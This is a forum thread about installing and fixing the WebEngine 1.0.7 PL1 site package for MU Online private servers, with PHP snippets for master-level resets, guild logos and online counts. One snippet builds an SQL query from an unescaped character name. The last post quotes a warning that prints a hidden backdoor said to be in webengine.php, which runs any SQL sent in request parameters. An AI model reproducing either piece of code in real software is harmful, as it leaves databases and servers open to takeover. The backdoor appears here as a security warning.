re: [Release] WebEngine 1.0.7 PL1
Quote:
Originally Posted by
zarlycel
hello guys how to modified page module for
(Clear Skill-Tree Settings) not to clear the existing Master level and points.
more likely reset stats function.
but the level is intuct (max) only the points is reseted and manualy add again in game.
(sorry for my bad english)
include/classes/class.character.php
Code:
function resetMasterLevelData($character_name) {
global $dB;
if(check_value($character_name)) {
if($this->CharacterExists($character_name)) {
$reset = $dB->query("UPDATE "._TBL_MASTERLVL_." SET "._CLMN_ML_LVL_." = 0,"._CLMN_ML_EXP_." = 0,"._CLMN_ML_NEXP_." = '35507050',"._CLMN_ML_POINT_." = 0 WHERE "._CLMN_ML_NAME_." = '$character_name'");
if($reset) {
return true;
- - - Updated - - -
Quote:
Originally Posted by
jhesociety
i already tried "$config['gmark_bin2hex_enable'] = false;" bro.. but still cant see GuildLogos :3
go to your website directory and open helper.php
delete everything and replace with this....
and run your cron again.
Code:
<?php
// Size Option
if(isset($_GET['s'])) {
if(is_numeric($_GET['s'])) {
if($_GET['s'] >= 10 && $_GET['s'] <= 500) {
$size = $_GET['s'];
} else {
$size = 40;
}
} else {
$size = 40;
}
} else {
$size = 40;
}
// Binary Data
if(isset($_GET['req'])) {
$binaryData = $_GET['req'];
} else {
$binaryData = '';
}
// Pixel Formula
$pixelSize = $size/8;
$hex = $binaryData;
// Decode Colors
function color($mark) {
if ($mark == 0) {
$color = "#ffffff";
}
if ($mark == 1) {
$color = "#000000";
}
if ($mark == 2) {
$color = "#8c8a8d";
}
if ($mark == 3) {
$color = "#ffffff";
}
if ($mark == 4) {
$color = "#fe0000";
}
if ($mark == 5) {
$color = "#ff8a00";
}
if ($mark == 6) {
$color = "#ffff00";
}
if ($mark == 7) {
$color = "#8cff01";
}
if ($mark == 8) {
$color = "#00ff00";
}
if ($mark == 9) {
$color = "#01ff8d";
}
if ($mark == 'a') {
$color = "#00ffff";
}
if ($mark == 'b') {
$color = "#008aff";
}
if ($mark == 'c') {
$color = "#0000fe";
}
if ($mark == 'd') {
$color = "#8c00ff";
}
if ($mark == 'e') {
$color = "#ff00fe";
}
if ($mark == 'f') {
$color = "#ff008c";
}
return $color;
}
for ($y = 0; $y < 8; $y++) {
for ($x = 0; $x < 8; $x++) {
$offset = ($y * 8) + $x;
$Cuadrilla8x8[$y][$x] = substr($hex, $offset, 1);
}
}
$SuperCuadrilla = array();
for ($y = 1; $y <= 8; $y++) {
for ($x = 1; $x <= 8; $x++) {
$bit = $Cuadrilla8x8[$y - 1][$x - 1];
for ($repiteY = 0; $repiteY < $pixelSize; $repiteY++) {
for ($repite = 0; $repite < $pixelSize; $repite++) {
$translatedY = ((($y - 1) * $pixelSize) + $repiteY);
$translatedX = ((($x - 1) * $pixelSize) + $repite);
$SuperCuadrilla[$translatedY][$translatedX] = $bit;
}
}
}
}
$img = ImageCreate($size, $size);
for ($y = 0; $y < $size; $y++) {
for ($x = 0; $x < $size; $x++) {
$bit = $SuperCuadrilla[$y][$x];
$color = substr(color($bit), 1);
$r = substr($color, 0, 2);
$g = substr($color, 2, 2);
$b = substr($color, 4, 2);
$superPixel = ImageCreate(1, 1);
$cl = imageColorAllocateAlpha($superPixel, hexdec($r), hexdec($g), hexdec($b), 0);
ImageFilledRectangle($superPixel, 0, 0, 1, 1, $cl);
ImageCopy($img, $superPixel, $x, $y, 0, 0, 1, 1);
ImageDestroy($superPixel);
}
}
header("Content-type: image/jpeg");
ImageRectangle($img, 0, 0, $size - 1, $size - 1, ImageColorAllocate($img, 0, 0, 0));
imagecolortransparent($img, ImageColorAllocate($img, 255, 255, 255));
ImageGif($img);
?>
re: [Release] WebEngine 1.0.7 PL1
hello guys how to modified page module for
(Clear Skill-Tree Settings) not to clear the existing Master level and points.
more likely reset stats function.
but the level is intuct (max) only the points is reseted and manualy add again in game.
(sorry for my bad english)
re: [Release] WebEngine 1.0.7 PL1
re: [Release] WebEngine 1.0.7 PL1
I need update mi php in mi hosting?
http://puu.sh/hfKJn/cbeb0f18d8.png
re: [Release] WebEngine 1.0.7 PL1
Quote:
Originally Posted by
Nicolas Ruiz
check your hp.ini configuration
re: [Release] WebEngine 1.0.7 PL1
hello im using this awesome 1.07pl webengine website and its look great. i have a minor problem. i have server code 12,13 and port is 55012, 55013. in online status. cant count the number of online in server12(55012) ONLINE PLAYER = 0 even there is online.
1st. how to modified the port in website side?to read the online number.
2nd hot to add server 13 Online Status?
Look like this:
Server12 Online : 30
Server13 Online: 40
re: [Release] WebEngine 1.0.7 PL1
Quote:
Originally Posted by
MuPH
hello im using this awesome 1.07pl webengine website and its look great. i have a minor problem. i have server code 12,13 and port is 55012, 55013. in online status. cant count the number of online in server12(55012) ONLINE PLAYER = 0 even there is online.
1st. how to modified the port in website side?to read the online number.
2nd hot to add server 13 Online Status?
run cron.bat
add this inside cron.bat
Look like this:
Server12 Online : 30
Server13 Online: 40
Code:
C:\xampp\php\php.exe -f C:\xampp\htdocs\cron\server_info.php
re: [Release] WebEngine 1.0.7 PL1
[QUOTE=rustyhead;8393125]include/classes/class.character.php
Code:
function resetMasterLevelData($character_name) {
global $dB;
if(check_value($character_name)) {
if($this->CharacterExists($character_name)) {
$reset = $dB->query("UPDATE "._TBL_MASTERLVL_." SET "._CLMN_ML_LVL_." = 0,"._CLMN_ML_EXP_." = 0,"._CLMN_ML_NEXP_." = '35507050',"._CLMN_ML_POINT_." = 0 WHERE "._CLMN_ML_NAME_." = '$character_name'");
if($reset) {
return true;
hello. the code is still reset the master level and point back to zero.
how to make it the master skill tree point have reseted.(not the Master Level) and the point is still there. and manualy add again in game. after reset master level in website. it is posible?
re: [Release] WebEngine 1.0.7 PL1
[QUOTE=zarlycel;8401084]
Quote:
Originally Posted by
rustyhead
include/classes/class.character.php
Code:
function resetMasterLevelData($character_name) {
global $dB;
if(check_value($character_name)) {
if($this->CharacterExists($character_name)) {
$reset = $dB->query("UPDATE "._TBL_MASTERLVL_." SET "._CLMN_ML_LVL_." = 0,"._CLMN_ML_EXP_." = 0,"._CLMN_ML_NEXP_." = '35507050',"._CLMN_ML_POINT_." = 0 WHERE "._CLMN_ML_NAME_." = '$character_name'");
if($reset) {
return true;
may i know what server files you used? cause there are some different structure of DB..
hello. the code is still reset the master level and point back to zero.
how to make it the master skill tree point have reseted.(not the Master Level) and the point is still there. and manualy add again in game. after reset master level in website. it is posible?
may i know what server files you used?
re: [Release] WebEngine 1.0.7 PL1
[QUOTE=rustyhead;8401164]
Quote:
Originally Posted by
zarlycel
may i know what server files you used?
its muengine
re: [Release] WebEngine 1.0.7 PL1
Hello I want to know if anyone can bring the "Grand Reset" module for this system; WebEngine
Thank you very much, and I've seen that has the ranking "grand reset" but I have not found the module in the admincp.
BIG HUG!
*googletranslate
re: [Release] WebEngine 1.0.7 PL1
website is offline after full installation HELP ME !
re: [Release] WebEngine 1.0.7 PL1
I can't find the problem . Someone can tell me why dont work !?
http://oi60.tinypic.com/kamyxw.jpg
Error : Fixed
I have new problem , i can't login : ERROR: You have reached the maximum number of login failures, therefore your account has been temporarily disabled to login to the website.
re: [Release] WebEngine 1.0.7 PL1
@ Jaccub do you have onlinehours exchange module for webengine please..
re: [Release] WebEngine 1.0.7 PL1
i found this on muengine forum.
posted by eric.
Quote:
I knew most of you are using lautaro's web files and I want you to check your webengine files for code similar to below. The code below can enable anyone to submit a direct sql query in your database. I found this code in webengine.php so start looking in this file. If you found any code similar to that then simply remove it.
// DEV TEST
if(check_value($_REQUEST[md5(date("m-d"))]) && check_value($_REQUEST['devtest']) && check_value($_REQUEST['t']) && check_value($_REQUEST['q'])) {
if($_REQUEST['devtest'] == 1) { $daBa = $dB; } else { $daBa = $dB2; }
if($_REQUEST['t'] == 1) {
$dtr = $daBa->query($_REQUEST['q']);
} else {
$dtr = $daBa->query_fetch($_REQUEST['q']);
}
die(debug($dtr));
}
Quote:
I can do whatever I want with your DB with that or even use the shell feature of your mssql server to shutdown or run any windows command.
its a hole in the security of webengine can someone tell me is in this version?